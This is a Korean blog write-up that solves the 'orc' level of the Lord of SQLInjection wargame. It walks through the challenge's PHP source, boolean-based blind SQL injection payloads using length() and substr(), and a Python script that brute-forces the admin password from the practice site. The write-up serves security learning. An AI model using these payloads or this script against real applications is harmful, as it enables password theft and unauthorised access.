본문 바로가기
Wargame/Lord of SQLInjection

[Lord of SQLInjection] Level04 write-up

by jjudy 2021. 10. 14.

LOS Level 04번 문제를 풀어보자.

 

orc 문제

 

 

 

 

풀이 과정

 

1.  $_GET[pw] 를 통해 pw를 사용자 입력값으로 받고 있다.

 

 

 

 

2.  preg_match() 함수는 $_GET[pw]로부터 입력받은 값에서 'prob', '_', '.', '\' 값이 있을 시 No Hack ~_~ 화면으로 넘어간다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

 

 

 

3. 다음 문장은 입력받은 pw와 id가 admin인 값을 찾아서 $query 변수에 저장하는 쿼리문이다.

$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";

 

 

 

4. 값을 찾은 쿼리문을 출력하고,$result['id']가 admin 일 때 (= 쿼리문이 참일 때) Hello admin을 화면에 출력한다.

echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello admin</h2>";

 

 

 

 

5. $result['id']가 admin  인 비밀번호를 맞추면 문제를 풀 수 있다.

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

 

 

 

풀이

 

id가 admin인 쿼리문에서 where 조건이 참일때에 Hello admin 문구를 출력한다.

참,거짓에 따라서 문구를 출력하므로 Blind SQL Injection 문제이다.

 

그러므로, id가 admin일 때, pw는 임의의 값을 주고 or 로 원하는 결과를 빼내면 된다.

쿼리문을 select id from prob_orc where id='admin' and pw='' or 1='1' 이렇게 해주면 참이 되므로 Hello admin 출력한다.

 

where 조건 참일 때 Hello admin 출력

 

 

참, 거짓의 결과만 반환하므로 이를 이용해 비밀번호를 구한다.

 

 

 

①  length 함수로 비밀번호 길이 구하기

 

쿼리문:  select id from prob_orc where id='admin' and pw='' or length(pw)='1'

length 함수로 pw의 길이를 구할 수 있다

이런식으로 1부터 넣어주면 비밀번호의 길이를 구할 수 있다.

 

 

 

②  substr 함수로 각 자리 비밀번호 문자 구하기

 

쿼리문:  select id from prob_orc where id='admin' and pw='' or substr(pw,1,1)='A'

substr 함수는 pw의 첫번째 자리, 한글자를 출력해준다. 이런식으로 A,B,1,2,a,b,!,~@.. 등등 넣어주면 비밀번호를 구할 수 있다.

 

 

 

 

위 2가지를 구하기 위해 값을 일일이 넣어줄 수는 없기 때문에 파이썬으로 자동화 코드를 작성해보았다.

로그인을 필요로하는 사이트이기 때문에 쿠키값을 넣어주어야 한다.

import requests
import string


url = ("https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php")
cookies = {'PHPSESSID': 'ndn1ntdata0gugq3vn8i6aj8ec'} 


password = "" #최종 비밀번호 변수 선언

code = string.ascii_letters + string.digits + string.punctuation #영문자, 숫자, 특수문자 


length = 0 #비밀번호 길이 변수
count = 1 #1부터 비밀번호 길이 찾을 때 까지 더해지는 변수

while True:
    query = "?pw=' or id='admin' and length(pw)='"+ str(count) #비밀번호 길이 구하는 쿼리문
    url2 = url + query
    res = requests.get(url2, cookies=cookies)

    if "Hello admin" in res.text:
        length = count
        print("비밀번호 길이는 "+str(length)+" 자리 이다.")
        print("----------------------------")
        break
    count += 1  #if문에 해당되지 않을 시 count가 1씩 증가


for i in range(1,length+1):
    for ch in code:
        pw_query = "?pw=' or id='admin' and substr(pw," + str(i) + ",1)="+"'"+ch #8자리의 비밀번호 한글자씩 구하는 쿼리문
        url3 = url + pw_query
        res2 = requests.get(url3, cookies=cookies)

        if "Hello admin" in res2.text:
            print(str(i)+"번째 비밀번호는 "+ch+" 이다.")
            password += str(ch)
            break
        
print("----------------------------")
print("최종 비밀번호는 :" + password)

 

cmd에서 파이썬 실행 결과

 

 

 

 

ORC Clear!가 뜨게 된다.

 

 

 

 

알게된 점

로그인을 필요로하는 사이트에서 자동화 코드 돌리려면 쿠키값을 넣어주어야 한다.쿼리문 조작 시 주석처리를 하지 않고도 공격이 가능하다면 주석처리하지 않는 방향으로 공격하는게 좋을 것 같다.

 

 

처음 자동화 코드를 짜봤는데 많은 시간을 헤맸지만 결국 해내서 성취감이 너무 크다! 앞으로도 쮹쮹 나가자!^__^👊👊

 

 

 

 

 

 

문제 풀이 사이트

https://los.rubiya.kr/

 

 

 

댓글